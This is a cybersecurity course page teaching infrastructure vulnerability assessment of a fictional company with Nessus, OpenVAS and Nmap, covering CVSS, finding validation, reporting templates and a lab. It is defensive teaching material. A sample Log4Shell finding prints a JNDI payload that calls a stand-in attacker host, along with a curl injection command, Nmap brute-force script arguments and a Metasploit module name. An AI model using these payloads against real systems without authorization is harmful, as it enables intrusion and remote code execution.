CSY399 Week 03 Capstone

Week Content

Cybersecurity Capstone

Track your progress through this week's content

Mental Model

"You can't protect what you don't understand, and you can't understand what you haven't measured." — Security Operations Principle

Vulnerability assessment transforms reconnaissance data into actionable security intelligence. Where reconnaissance asks "what exists?", vulnerability assessment asks "what's wrong with what exists?" This systematic process identifies weaknesses before adversaries do, providing the foundation for risk-based remediation decisions.

Learning Outcomes

By the end of this week, you will be able to:

  • LO1: Execute systematic vulnerability scans against network infrastructure using industry-standard tools
  • LO2: Differentiate between vulnerability scanners' findings and validate true positives versus false positives
  • LO3: Interpret vulnerability scan results including CVSS scores and exploitability metrics
  • LO4: Document infrastructure vulnerabilities with sufficient detail for remediation
  • LO5: Correlate vulnerability findings with reconnaissance data to identify attack chains

Introduction: From Discovery to Analysis

Your reconnaissance revealed NovaTech's infrastructure landscape: external services, cloud resources, internal systems accessible via VPN. Now you transition from mapping to probing—systematically testing each component for known vulnerabilities, misconfigurations, and weaknesses.

This week focuses on infrastructure vulnerability assessment: network services, operating systems, and server configurations. Next week addresses web application vulnerabilities, which require different tools and methodology.

Engagement Context

You've received VPN credentials from Marcus Webb and can now access NovaTech's internal network for assessment. Combined with external testing authorization, your scope includes:

  • External perimeter systems (from Week 2 reconnaissance)
  • Internal network segments accessible via VPN
  • AWS infrastructure (EC2 instances, network configurations)
  • On-premises systems in the Austin datacenter

1. Vulnerability Assessment Fundamentals

Vulnerability assessment is the systematic process of identifying, quantifying, and prioritizing security weaknesses in systems and applications. Understanding the distinction between vulnerability assessment and penetration testing is essential for proper scoping and execution.

Assessment vs. Penetration Testing

┌─────────────────────────────────────────────────────────────────┐
│          VULNERABILITY ASSESSMENT vs PENETRATION TESTING        │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  VULNERABILITY ASSESSMENT          PENETRATION TESTING          │
│  ────────────────────────          ───────────────────          │
│                                                                 │
│  Goal: Identify weaknesses         Goal: Prove exploitability  │
│                                                                 │
│  Approach: Broad coverage          Approach: Deep exploitation │
│                                                                 │
│  Output: List of vulnerabilities   Output: Proof of compromise │
│                                                                 │
│  Risk: Low (scanning only)         Risk: Higher (exploitation) │
│                                                                 │
│  Depth: Wide but shallow           Depth: Narrow but deep      │
│                                                                 │
│  Automation: Heavy                 Automation: Limited         │
│                                                                 │
│  ┌─────────────────────────────────────────────────────────┐   │
│  │                                                         │   │
│  │   RECON → VULN ASSESSMENT → EXPLOITATION → POST-EXPLOIT│   │
│  │              ▲                    ▲                     │   │
│  │              │                    │                     │   │
│  │         This Week            Week 5                     │   │
│  │                                                         │   │
│  └─────────────────────────────────────────────────────────┘   │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

This week focuses on vulnerability assessment—comprehensive scanning to identify weaknesses across NovaTech's infrastructure. Week 5 will cover exploitation, where you'll validate selected vulnerabilities through controlled attacks.

Types of Vulnerabilities

Infrastructure vulnerabilities fall into several categories:

Software Vulnerabilities

Flaws in operating systems, services, and applications that can be exploited. Often assigned CVE identifiers and rated by CVSS scores.

Example: CVE-2021-44228 (Log4Shell) — Remote code execution in Apache Log4j affecting countless Java applications.

Configuration Vulnerabilities

Insecure settings that weaken security posture even when software is up-to-date. Often organization-specific and not tracked by CVEs.

Example: SSH server allowing password authentication and root login, enabling brute-force attacks.

Architectural Vulnerabilities

Design-level weaknesses in how systems are structured and connected. Require architectural changes rather than patches to remediate.

Example: Database servers on the same network segment as workstations, allowing lateral movement from compromised endpoints.

Cryptographic Vulnerabilities

Weaknesses in cryptographic implementations that undermine confidentiality or integrity protections.

Example: Web server supporting TLS 1.0 with CBC cipher suites, vulnerable to BEAST and POODLE attacks.

The CVSS Scoring System

The Common Vulnerability Scoring System (CVSS) provides a standardized method for rating vulnerability severity. Understanding CVSS is essential for interpreting scanner output and prioritizing remediation.

CVSS v3.1 Score Ranges

Rating Score Range Interpretation
Critical 9.0 - 10.0 Immediate remediation required; likely exploitable with severe impact
High 7.0 - 8.9 Priority remediation; significant security risk
Medium 4.0 - 6.9 Should be addressed; moderate risk requiring mitigation
Low 0.1 - 3.9 Minor risk; address as resources permit
Informational 0.0 No direct security impact; best practice recommendation

CVSS Vector Components

CVSS scores derive from multiple factors. Understanding the vector helps assess real-world exploitability: 

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AV (Attack Vector):     N=Network, A=Adjacent, L=Local, P=Physical
AC (Attack Complexity): L=Low, H=High
PR (Privileges Required): N=None, L=Low, H=High
UI (User Interaction):  N=None, R=Required
S (Scope):              U=Unchanged, C=Changed
C (Confidentiality):    N=None, L=Low, H=High
I (Integrity):          N=None, L=Low, H=High
A (Availability):       N=None, L=Low, H=High

The vector above (CVSS 9.8) represents a network-exploitable vulnerability requiring no privileges, no user interaction, with high impact across confidentiality, integrity, and availability—essentially the worst case.

CVSS Limitations

CVSS provides a standardized severity baseline but doesn't account for:

Your risk analysis (Week 7) will contextualize CVSS scores within NovaTech's specific environment.

2. Vulnerability Scanning Tools

Vulnerability scanners automate the process of probing systems for known weaknesses. Different tools serve different purposes; professional assessments typically combine multiple scanners for comprehensive coverage.

Scanner Categories

┌─────────────────────────────────────────────────────────────────┐
│                  VULNERABILITY SCANNER TYPES                    │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  NETWORK/INFRASTRUCTURE          WEB APPLICATION                │
│  ──────────────────────          ───────────────                │
│  • Nessus                        • Burp Suite                   │
│  • OpenVAS                       • OWASP ZAP                    │
│  • Qualys                        • Nikto                        │
│  • Nexpose                       • Nuclei                       │
│                                                                 │
│  Focus: OS, services,            Focus: Web-specific vulns,    │
│  network protocols               application logic             │
│                                                                 │
│  CLOUD-SPECIFIC                  SPECIALIZED                    │
│  ──────────────                  ───────────                    │
│  • Prowler (AWS)                 • Trivy (containers)           │
│  • ScoutSuite                    • Grype (SBOMs)                │
│  • CloudSploit                   • Lynis (Linux audit)          │
│  • Steampipe                     • CIS-CAT (benchmarks)         │
│                                                                 │
│  Focus: Cloud misconfig,         Focus: Specific technology    │
│  IAM, resource exposure          or compliance area            │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Network Vulnerability Scanners

Nessus

Industry-standard commercial vulnerability scanner. Nessus Essentials (free) supports up to 16 IP addresses, suitable for learning and small assessments.

Installation (Kali Linux)
# Download from tenable.com/products/nessus/nessus-essentials
# Register for free activation code

# Install the downloaded package
sudo dpkg -i Nessus-10.x.x-debian10_amd64.deb

# Start Nessus service
sudo systemctl start nessusd
sudo systemctl enable nessusd

# Access via browser
# https://localhost:8834
Basic Scan Configuration
  1. Create new scan → Choose template (Basic Network Scan for infrastructure)
  2. Configure targets (IP addresses or ranges from scope)
  3. Set credentials for authenticated scanning (more thorough)
  4. Schedule or launch scan
  5. Review results by severity, host, or vulnerability
Scan Types
Type Description Use Case
Basic Network Scan General-purpose vulnerability detection Initial infrastructure assessment
Credentialed Patch Audit Authenticated scan for missing patches Patch compliance verification
Advanced Scan Customizable with granular plugin selection Targeted assessments, stealth requirements
Web Application Tests Basic web vulnerability checks Supplement to dedicated web scanners

OpenVAS (Greenbone Vulnerability Management)

Open-source vulnerability scanner with comprehensive plugin database. Fully free alternative to commercial scanners.

Installation (Kali Linux)
# Install OpenVAS
sudo apt update
sudo apt install openvas -y

# Initial setup (downloads vulnerability feeds - takes time)
sudo gvm-setup

# Note the admin password displayed at the end

# Start services
sudo gvm-start

# Access via browser
# https://localhost:9392
# Login: admin / [password from setup]
Scan Configuration
  1. Navigate to Scans → Tasks → New Task
  2. Create Target (Hosts → New Target) with IP addresses
  3. Select Scan Config (Full and fast is good default)
  4. Optionally add credentials for authenticated scanning
  5. Start task and monitor progress
  6. Review results in Reports section

Nmap Scripting Engine (NSE)

Nmap includes vulnerability detection scripts that complement dedicated scanners. Useful for quick checks and targeted probing. 

# Run default vulnerability scripts
nmap --script vuln target-ip

# Specific vulnerability checks
nmap --script smb-vuln* target-ip          # SMB vulnerabilities
nmap --script ssl-* target-ip              # SSL/TLS issues
nmap --script http-vuln* target-ip         # Web server vulnerabilities

# Check for specific CVE
nmap --script http-vuln-cve2017-5638 target-ip  # Apache Struts

# Safe scripts only (won't cause issues)
nmap --script "safe and vuln" target-ip

# List available vulnerability scripts
ls /usr/share/nmap/scripts/ | grep vuln

Authenticated vs. Unauthenticated Scanning

Scanner effectiveness depends heavily on whether credentials are provided:

Aspect Unauthenticated Authenticated
Visibility External perspective only; sees what's exposed on network Internal perspective; sees installed software, configurations
Coverage Limited to network-accessible vulnerabilities Comprehensive including local privilege escalation, missing patches
Accuracy Higher false positive rate; must infer versions More accurate; direct access to version information
Simulates External attacker without access Attacker with compromised credentials / insider
Requirements Network access only Valid credentials (SSH keys, domain accounts, SNMP strings)

Best Practice: Use Both

Professional assessments typically run both authenticated and unauthenticated scans. Unauthenticated scans reveal what an external attacker sees; authenticated scans provide comprehensive vulnerability inventory. For NovaTech's SOC 2 preparation, authenticated scanning ensures complete coverage.

Credential Types for Authenticated Scanning

┌─────────────────────────────────────────────────────────────────┐
│              CREDENTIALS FOR AUTHENTICATED SCANNING             │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  LINUX/UNIX                       WINDOWS                       │
│  ──────────                       ───────                       │
│  • SSH username/password          • Domain admin credentials    │
│  • SSH private key                • Local admin account         │
│  • sudo/su privileges             • WMI access                  │
│                                   • SMB shares                  │
│                                                                 │
│  NETWORK DEVICES                  DATABASES                     │
│  ───────────────                  ─────────                     │
│  • SNMP community strings         • Database credentials        │
│  • SSH/Telnet credentials         • Read-only preferred         │
│  • Enable passwords                                             │
│                                                                 │
│  CLOUD                            VMware/VIRTUALIZATION         │
│  ─────                            ─────────────────────         │
│  • AWS Access Keys (read-only)    • vCenter credentials         │
│  • Azure Service Principal        • ESXi root access            │
│  • GCP Service Account                                          │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Credential Security

Scanning credentials are highly sensitive. Ensure:

3. Scanning Methodology

Effective vulnerability scanning requires methodical execution to ensure coverage while minimizing disruption. Follow this systematic approach for the NovaTech engagement.

Pre-Scan Preparation

Step 1: Verify Scope and Authorization

# Create target list from reconnaissance
cat ~/engagements/novatech-2025/01-recon/targets.txt

# Verify targets are reachable
for ip in $(cat targets.txt); do
    ping -c 1 -W 1 $ip && echo "$ip reachable"
done

Step 2: Discovery Scan

Before vulnerability scanning, confirm live hosts and open ports. This prevents wasting time scanning offline systems. 

# Host discovery
nmap -sn -PE -PP -PM 10.10.0.0/24 -oA discovery-ping

# Port discovery on live hosts
nmap -sS -p- --min-rate 1000 -iL live-hosts.txt -oA discovery-ports

# Quick service identification
nmap -sV --version-light -iL live-hosts.txt -oA discovery-services

Step 3: Vulnerability Scan Execution

Run vulnerability scans in phases, starting with less intensive options:

Phase A: Unauthenticated Scan

External perspective, minimal credentials

# Nessus: Create "Basic Network Scan" without credentials
# OpenVAS: "Full and fast" scan config

# Nmap vulnerability scripts
nmap --script vuln -iL targets.txt -oA vuln-scan-unauth
Phase B: Authenticated Scan

Add credentials for comprehensive coverage

# Nessus: Add SSH credentials for Linux, domain creds for Windows
# OpenVAS: Create credential and associate with target

# For Linux hosts with SSH access
sudo nmap --script vuln -sV --script-args='ssh-brute.userdb=user.txt' \
  -iL linux-targets.txt -oA vuln-scan-auth-linux
Phase C: Specialized Scans

Technology-specific deep dives

# SSL/TLS analysis
testssl.sh --html --csvfile results.csv https://target

# SMB vulnerabilities
nmap --script smb-vuln* -p 445 -iL windows-targets.txt

# Database vulnerabilities (if in scope)
nmap --script mysql-vuln* -p 3306 -iL db-targets.txt

Scan Timing Considerations

Balance thoroughness against time constraints and potential impact:

Factor Faster Scanning Slower Scanning
Network Impact Higher bandwidth, potential disruption Lower bandwidth, less noticeable
Detection Easily detected by IDS/IPS May evade basic detection
Accuracy May miss slow-responding services Better accuracy for all services
Time Required Hours for large networks Days for large networks 
# Nmap timing templates
-T0  # Paranoid (very slow, IDS evasion)
-T1  # Sneaky (slow, IDS evasion)
-T2  # Polite (slowed to reduce bandwidth)
-T3  # Normal (default)
-T4  # Aggressive (fast, reliable networks)
-T5  # Insane (very fast, may miss results)

# For NovaTech engagement (authorized testing):
# Use T4 during off-hours testing windows
# Use T3 during business hours if testing permitted

NovaTech Scan Plan

Based on the engagement scope, here's the recommended scanning approach:

Target Segment Scan Type Tool Timing
External Perimeter Unauthenticated Nessus + Nmap Any authorized window
Internal Network (via VPN) Authenticated Nessus with creds Off-hours preferred
AWS Infrastructure Configuration review Prowler / ScoutSuite Any time (API-based)
Windows Systems Authenticated + SMB Nessus + Nmap SMB scripts Off-hours
Linux Servers Authenticated SSH Nessus + Lynis Any authorized window

4. Interpreting Scan Results

Vulnerability scanners produce extensive output. Effective assessment requires understanding how to interpret results, validate findings, and prioritize for reporting.

Understanding Scanner Output

Sample Nessus Finding

Plugin ID: 35362
Name: MS09-001: Microsoft Windows SMB Vulnerabilities Remote Code Execution
Severity: Critical
CVSS v3 Base Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description:
The remote Windows host is affected by multiple vulnerabilities in the 
SMB server that could allow an unauthenticated, remote attacker to execute 
arbitrary code.

Solution:
Microsoft has released patches for Windows 2000, XP, 2003, Vista, 2008.

See Also:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2009/ms09-001

Plugin Output:
The following registry key value indicates a vulnerable version of srv.sys:
  HKLM\SYSTEM\CurrentControlSet\Services\srv\ImagePath 
  Version: 6.0.6001.18000

Risk Factor: Critical

Exploitable with: Metasploit (exploit/windows/smb/ms09_001_write)

Key Elements:

False Positives vs. True Positives

Not every scanner finding represents a real vulnerability. Validation is essential for accurate reporting. 

┌─────────────────────────────────────────────────────────────────┐
│                    FINDING CLASSIFICATION                       │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  TRUE POSITIVE                    FALSE POSITIVE                │
│  ─────────────                    ──────────────                │
│  Vulnerability exists as          Scanner incorrectly reports   │
│  reported by scanner              a vulnerability that doesn't  │
│                                   exist                         │
│  → Include in report              → Exclude from report         │
│                                                                 │
│  TRUE NEGATIVE                    FALSE NEGATIVE                │
│  ─────────────                    ──────────────                │
│  Scanner correctly identifies     Scanner misses a real         │
│  that no vulnerability exists     vulnerability that exists     │
│                                                                 │
│  → Expected behavior              → Dangerous; why manual       │
│                                     testing complements scans   │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Common False Positive Causes

Validation Techniques

# Verify version manually
nmap -sV --version-all -p 22 target   # Detailed version probe

# Check specific CVE with Nmap script
nmap --script http-vuln-cve2021-41773 target  # Apache path traversal

# Attempt safe exploitation (proof of concept, not damage)
# Only if authorized and you understand the impact

# Research the specific vulnerability
searchsploit "apache 2.4.49"          # Check for known exploits

# Compare with other scanner results
# Multiple scanners reporting same issue increases confidence

Validation Example: SSH Weak Algorithms

# Scanner reports: SSH Weak Key Exchange Algorithms Enabled
# CVSS: 5.3 (Medium)

# Validate manually:
ssh -vv target 2>&1 | grep "kex:"
# Output shows which algorithms are actually negotiated

nmap --script ssh2-enum-algos target
# Lists all supported algorithms

# Research which algorithms are actually weak:
# - diffie-hellman-group1-sha1 (weak)
# - diffie-hellman-group-exchange-sha1 (weak)
# - ecdh-sha2-nistp256 (acceptable)

# If only strong algorithms are shown → FALSE POSITIVE
# If weak algorithms present → TRUE POSITIVE, document specific algorithms

Prioritization Framework

Combine CVSS with contextual factors for effective prioritization:

Priority Criteria Example Action
P1 - Critical CVSS 9.0+, exploit available, internet-facing RCE on public web server with Metasploit module Immediate notification; remediate within 24-48 hours
P2 - High CVSS 7.0+, exploit available, internal system OR CVSS 9.0+ without easy exploit Critical patch missing on domain controller Urgent remediation; include in executive summary
P3 - Medium CVSS 4.0-6.9, or high CVSS with significant mitigating factors SSL weak cipher on internal-only service Planned remediation within remediation window
P4 - Low CVSS below 4.0, or higher CVSS with strong mitigations Informational disclosure, version banners Address as resources permit; track for trending

5. Documenting Infrastructure Findings

Professional vulnerability documentation enables remediation. Each finding should contain sufficient detail for both technical staff to fix the issue and management to understand the risk.

Finding Documentation Template

┌─────────────────────────────────────────────────────────────────┐
│                   VULNERABILITY FINDING FORMAT                  │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  IDENTIFICATION                                                 │
│  • Finding ID (e.g., NOVA-INFRA-001)                           │
│  • Title (concise, descriptive)                                │
│  • Affected Host(s) / Asset(s)                                 │
│  • Severity Rating (Critical/High/Medium/Low)                  │
│  • CVSS Score and Vector                                       │
│                                                                 │
│  TECHNICAL DETAILS                                              │
│  • Description of vulnerability                                │
│  • CVE Reference(s) if applicable                              │
│  • Affected software/version                                   │
│  • Evidence (scan output, screenshots, commands)               │
│  • Steps to reproduce                                          │
│                                                                 │
│  RISK ANALYSIS                                                  │
│  • Potential impact if exploited                               │
│  • Exploitability assessment                                   │
│  • Affected data or systems                                    │
│  • Business context                                            │
│                                                                 │
│  REMEDIATION                                                    │
│  • Recommended fix                                              │
│  • Alternative mitigations                                      │
│  • Remediation complexity estimate                             │
│  • References (vendor advisories, patches)                     │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Sample Finding Documentation

NOVA-INFRA-003 Critical

Apache Log4j Remote Code Execution (Log4Shell)

Affected Assets
Host: jenkins.novatech-solutions.com (54.85.xxx.xxx)
Service: Jenkins 2.319 on port 8080
Component: Apache Log4j 2.14.1
Severity
CVSS v3.1: 10.0 Critical
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE: CVE-2021-44228
Description

The Jenkins server at jenkins.novatech-solutions.com uses Apache Log4j version 2.14.1, which is vulnerable to remote code execution via the Log4Shell vulnerability (CVE-2021-44228). This vulnerability allows an unauthenticated attacker to execute arbitrary code on the server by sending a specially crafted string that is logged by the application.

The vulnerability is exploited by injecting a JNDI lookup string (e.g., ${jndi:ldap://attacker.com/exploit}) into any logged field. When Log4j processes this string, it makes an outbound connection to the attacker's server and can execute arbitrary Java code.

Evidence
# Nessus Plugin 156860 detected vulnerable Log4j
# Additional validation performed:

$ curl -H 'X-Forwarded-For: ${jndi:ldap://[CANARY-TOKEN].canarytokens.com/a}' \
    https://jenkins.novatech-solutions.com/

# DNS callback received at canarytokens.com, confirming JNDI resolution
# Timestamp: 2025-01-20 14:32:15 UTC
# Source IP: 54.85.xxx.xxx (jenkins server)

# Log4j version confirmed via Jenkins script console (with provided creds):
import org.apache.logging.log4j.util.PropertiesUtil
println PropertiesUtil.class.getPackage().getImplementationVersion()
# Output: 2.14.1

Screenshot: evidence/NOVA-INFRA-003-canary-callback.png

Risk Analysis

Impact if Exploited: An attacker exploiting this vulnerability would gain complete control of the Jenkins server, including:

  • Access to CI/CD pipelines and ability to inject malicious code into builds
  • Access to deployment credentials stored in Jenkins (AWS keys, SSH keys)
  • Ability to deploy malicious code to production environments
  • Access to source code repositories connected to Jenkins
  • Potential pivot point for lateral movement into internal network

Exploitability: Multiple public exploits exist, including Metasploit modules. Exploitation requires no authentication and can be triggered through any input field that gets logged.

Business Impact: Critical. Compromise of Jenkins could result in supply chain attack affecting WorkflowPro customers.

Remediation

Recommended:

  1. Upgrade Log4j to version 2.17.1 or later immediately
  2. Update Jenkins to latest LTS version (includes patched Log4j)
  3. Review Jenkins access logs for signs of exploitation attempts
  4. Audit credentials stored in Jenkins; rotate any that may be compromised

Immediate Mitigation (if patching delayed):

  • Set JVM flag: -Dlog4j2.formatMsgNoLookups=true
  • Block outbound LDAP/RMI traffic from Jenkins server
  • Implement WAF rule to block JNDI strings in headers

Remediation Effort: Low (straightforward patching)

References:

Finding Correlation

Individual vulnerabilities often combine into attack chains. Document relationships between findings to illustrate compound risk.

Example Attack Chain

┌─────────────────────────────────────────────────────────────────┐
│                    ATTACK CHAIN: JENKINS TO AWS                 │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  NOVA-INFRA-003         NOVA-INFRA-007         NOVA-CLOUD-002  │
│  Log4Shell RCE    →     AWS Keys in     →     Overly Permissive│
│  on Jenkins             Jenkins Creds         IAM Role         │
│                                                                 │
│  ┌─────────────┐       ┌─────────────┐       ┌─────────────┐   │
│  │ Initial     │       │ Credential  │       │ Cloud       │   │
│  │ Compromise  │──────▶│ Theft       │──────▶│ Compromise  │   │
│  │             │       │             │       │             │   │
│  │ CVSS: 10.0  │       │ CVSS: N/A   │       │ CVSS: 8.1   │   │
│  └─────────────┘       └─────────────┘       └─────────────┘   │
│                                                                 │
│  COMBINED IMPACT: Complete AWS environment compromise via      │
│  single external vulnerability on Jenkins server               │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Documenting attack chains helps NovaTech understand that fixing any link in the chain reduces overall risk, and that the most critical remediation is the externally-exploitable initial access vector.

6. NovaTech Infrastructure Assessment Scope

For the capstone lab, focus vulnerability assessment on these NovaTech infrastructure components:

External Perimeter

Target Focus Areas Key Concerns
jenkins.novatech-solutions.com Service vulnerabilities, authentication, exposed plugins CI/CD compromise, credential exposure
vpn.novatech-solutions.com OpenVPN vulnerabilities, authentication mechanism Internal network access vector
grafana.novatech-solutions.com Known CVEs, authentication bypass, SSRF Infrastructure visibility, potential pivot
staging.workflowpro.io Same as production but likely less patched May contain production data copies

Internal Network (via VPN)

Segment Systems Assessment Focus
Domain Controllers AD servers (Windows Server) Missing patches, AD vulnerabilities, Kerberos attacks
File Servers Windows file shares SMB vulnerabilities, share permissions
Database Servers PostgreSQL, possibly MSSQL Authentication, patching, network exposure
Workstations (sample) Windows 10/11 endpoints Patch compliance, local admin access

AWS Infrastructure

AWS assessment uses configuration review rather than traditional vulnerability scanning. Covered in more detail during Week 6 (Cloud Review).

Self-Check Questions

Test your understanding of infrastructure vulnerability assessment:

Question 1

Your vulnerability scan reports CVE-2019-0708 (BlueKeep) on a Windows Server 2008 R2 system. The CVSS score is 9.8 Critical. However, you notice the server is on an isolated network segment with no internet access and only accessible from a single jump host. How does this context affect your prioritization?

Reveal Answer

The vulnerability remains critical in terms of CVSS base score, but environmental factors reduce the practical risk. Your assessment should:

  • Still report as Critical (the vulnerability exists)
  • Note network isolation as a mitigating factor
  • Assess the jump host's security (it becomes the attack path)
  • Consider that network segmentation can fail or change
  • Recommend patching despite mitigations (defense in depth)

The practical priority might be P2 instead of P1 due to reduced exploitability, but the underlying vulnerability should still be remediated. Document both the raw CVSS and the environmental context.

Question 2

Nessus reports "SSL Certificate Signed Using Weak Hashing Algorithm (SHA-1)" on an internal-only service used by 5 employees. The CVSS score is 5.3 Medium. How would you handle this finding?

Reveal Answer

This is a legitimate finding but relatively low priority given context:

  • Validate: Confirm the certificate actually uses SHA-1 (check with openssl s_client)
  • Context: Internal service with limited users reduces attack surface
  • Real Risk: SHA-1 collision attacks are computationally expensive; practical exploitation unlikely
  • Report as: Medium/Low priority, recommend replacement during normal certificate renewal
  • Compliance Note: May affect SOC 2 if "strong cryptography" is a stated control

Include in findings for completeness but don't elevate priority unless compliance requirements specifically mandate SHA-256+ for all certificates.

Question 3

You're running an authenticated vulnerability scan against NovaTech's Linux servers using SSH credentials. The scan completes but shows far fewer vulnerabilities than expected based on server age. What might explain this, and what would you check?

Reveal Answer

Several possibilities to investigate:

  • Credential issues: Verify the account has sufficient privileges (sudo access for package enumeration)
  • Scan configuration: Ensure all relevant plugins are enabled (Linux local security checks)
  • Backported patches: RHEL/CentOS/Ubuntu backport security fixes without version bumps—scanner may show patched even if version looks old
  • Container hosts: If servers run containers, vulnerabilities may be in containers rather than host OS
  • Actually well-maintained: The servers may genuinely be well-patched

Verification steps: Check sudo access, review scanner credential verification logs, manually verify a few packages with rpm -q or dpkg -l, check for configuration management (Ansible/Puppet) that maintains patching.

Question 4

Explain why you might run both Nessus and Nmap vulnerability scripts against the same targets. Isn't this redundant?

Reveal Answer

Different tools have different strengths, and combining them improves coverage:

  • Different detection methods: Nessus uses comprehensive credentialed checks; Nmap scripts use network probes
  • Different plugin/script databases: Each maintains different vulnerability signatures updated at different rates
  • Validation: A finding confirmed by multiple tools has higher confidence (reduces false positives)
  • Gap coverage: One scanner may detect vulnerabilities the other misses
  • Cost/access: Nmap is free and always available; commercial scanner licenses may be limited

Professional assessments typically use at least two vulnerability scanning approaches for comprehensive coverage.

Question 5

During your scan, you discover that NovaTech's internal DNS server is running BIND 9.11.5, which has multiple known vulnerabilities. However, the DNS server is only accessible from the internal network. Should this be reported as a finding? If so, at what severity?

Reveal Answer

Yes, definitely report this finding. DNS is critical infrastructure that affects all internal operations.

  • Severity: High (even though internal-only)
  • Justification:
    • DNS compromise enables cache poisoning affecting all internal users
    • Could redirect internal traffic to attacker-controlled servers
    • Potential DoS affecting all name resolution
    • Post-compromise pivot point is highly valuable
  • Context: "Internal only" doesn't mean safe—attackers who gain initial access prioritize DNS servers

The finding should include specific CVEs affecting that BIND version and prioritize patching even though external exploitation is not possible.

Question 6

Your vulnerability scanner reports 847 findings across NovaTech's infrastructure. How do you approach organizing this for your report without overwhelming the client?

Reveal Answer

Large finding counts require strategic organization:

  1. Deduplicate: Group identical vulnerabilities across multiple hosts (e.g., "Missing Windows patch KB12345" on 50 servers = 1 finding with 50 affected hosts)
  2. Filter noise: Remove informational items unless specifically requested; focus on actionable vulnerabilities
  3. Severity tiers: Lead with critical/high; medium/low in appendix or summary statistics
  4. Categorize: Group by type (patching, configuration, cryptography) or by system (Windows, Linux, network devices)
  5. Highlight themes: "Patching program appears ineffective—42 systems missing critical updates" is more actionable than 42 individual findings
  6. Executive summary: "12 Critical, 45 High, 203 Medium, 587 Low" with top 5 priorities

The goal is actionable intelligence, not raw data. Your report should help NovaTech understand what to fix and in what order.

Lab: Infrastructure Vulnerability Assessment

Objective

Conduct a comprehensive infrastructure vulnerability assessment using industry-standard tools, validate findings, and document vulnerabilities in professional format.

Deliverables

Time Estimate

5-6 hours

Practice Targets

Since NovaTech is fictional, conduct your vulnerability assessment against authorized practice environments:

Document your methodology as if assessing NovaTech, adapting findings from practice targets to demonstrate professional process.

Lab Tasks

Part 1: Scanner Setup and Configuration (LO1)

  1. Install and configure Nessus Essentials:
    • Register for activation code at tenable.com
    • Install on Kali VM
    • Complete initial feed update
  2. Verify OpenVAS is functional: 
    sudo gvm-check-setup
  3. Document scanner versions and plugin/feed dates

Part 2: Unauthenticated Scanning (LO1, LO3)

  1. Configure target list (practice environment IPs)
  2. Run Nessus Basic Network Scan
  3. Run Nmap vulnerability scripts: 
    nmap --script vuln -sV -oA vuln-nmap target-ip
  4. Export all results (Nessus HTML/CSV, Nmap XML)
  5. Record scan duration and any errors encountered

Part 3: Authenticated Scanning (LO1, LO3)

  1. Configure credentials in Nessus for target systems
  2. Run credentialed scan against same targets
  3. Compare results: How many additional findings with credentials?
  4. Run Lynis on a Linux target (if SSH access available): 
    lynis audit system --quick
  5. Document credential requirements and access used

Part 4: Finding Validation (LO2)

  1. Select 5 findings of varying severity for manual validation
  2. For each finding:
    • Research the vulnerability (CVE details, exploit availability)
    • Attempt manual verification (version check, config review, safe PoC)
    • Classify as True Positive or False Positive with evidence
  3. Document your validation methodology

Part 5: Professional Documentation (LO4, LO5)

  1. Create finding summary matrix (spreadsheet):
    • Columns: Finding ID, Title, Severity, CVSS, Host(s), Status, Priority
    • All findings from scans, deduplicated
  2. Document top 5 findings using the template from Section 5:
    • Full details including evidence screenshots
    • Risk analysis in NovaTech context
    • Specific remediation guidance
  3. Identify at least one attack chain connecting multiple findings

Self-Assessment Checklist

Scanning Execution

  • ☐ Multiple scanning tools used (not just one)
  • ☐ Both authenticated and unauthenticated scans completed
  • ☐ Scan configurations documented
  • ☐ Raw results exported and preserved

Validation Quality

  • ☐ At least 5 findings manually validated
  • ☐ Validation methodology documented
  • ☐ True/False positive classification with evidence
  • ☐ Reasonable conclusions drawn from validation

Documentation Quality

  • ☐ Finding matrix is complete and organized
  • ☐ Top 5 findings follow professional template
  • ☐ Evidence (screenshots, outputs) included
  • ☐ Remediation guidance is specific and actionable
  • ☐ Attack chain identified and documented

Professional Standards

  • ☐ Findings could be presented to client
  • ☐ Severity ratings are justified
  • ☐ Technical accuracy maintained
  • ☐ Clear, professional writing

Portfolio Integration

Save your infrastructure vulnerability assessment deliverables:

These findings will feed into your risk analysis (Week 7) and final technical report (Week 10).

🎯 Hands-On Capstone Activities

Conduct comprehensive infrastructure vulnerability assessment for your capstone engagement.

🔍 HTB Challenges: Infrastructure Pentesting

What you'll do: Complete infrastructure penetration boxes—network scanning, service enumeration, vulnerability exploitation.
Time estimate: 4-6 hours

🧾 Portfolio Finding Write-Up

What you'll do: Draft a professional vulnerability write-up with evidence, impact, and remediation guidance.
Why it matters: Hiring managers want to see how you communicate technical risk.
Time estimate: 2-3 hours
Deliverable: Sanitized finding write-up ready for portfolio

💡 Capstone Strategy: Document every finding with evidence—screenshots, command output, exploitation steps.

Resources

Required

NIST SP 800-115: Technical Guide to Information Security Testing

Federal guidance on security testing methodology including vulnerability scanning, penetration testing, and assessment reporting.

NIST SP 800-115 60 minutes (Sections 4-5)
Required

CVSS v3.1 Specification Document

Official specification for the Common Vulnerability Scoring System. Essential for understanding and interpreting vulnerability severity.

FIRST CVSS v3.1 Specification 45 minutes
Optional

TryHackMe: Nessus Room

Hands-on practice with Nessus vulnerability scanner including installation, configuration, and result interpretation.

tryhackme.com/room/rpnessusredux 90 minutes

Weekly Reflection

Prompt

Consider the relationship between automated vulnerability scanning and manual security assessment. What can scanners find that humans might miss? What can humans identify that scanners cannot? How does the validation process you performed this week illustrate the importance of human judgment in security assessment?

Reflect on how you would explain vulnerability assessment findings to NovaTech's CISO versus their CEO. How does audience affect how you present the same technical information? Connect this to the business-focused security communication skills essential for professional practice.

Target length: 250-350 words

Week 03 Quiz

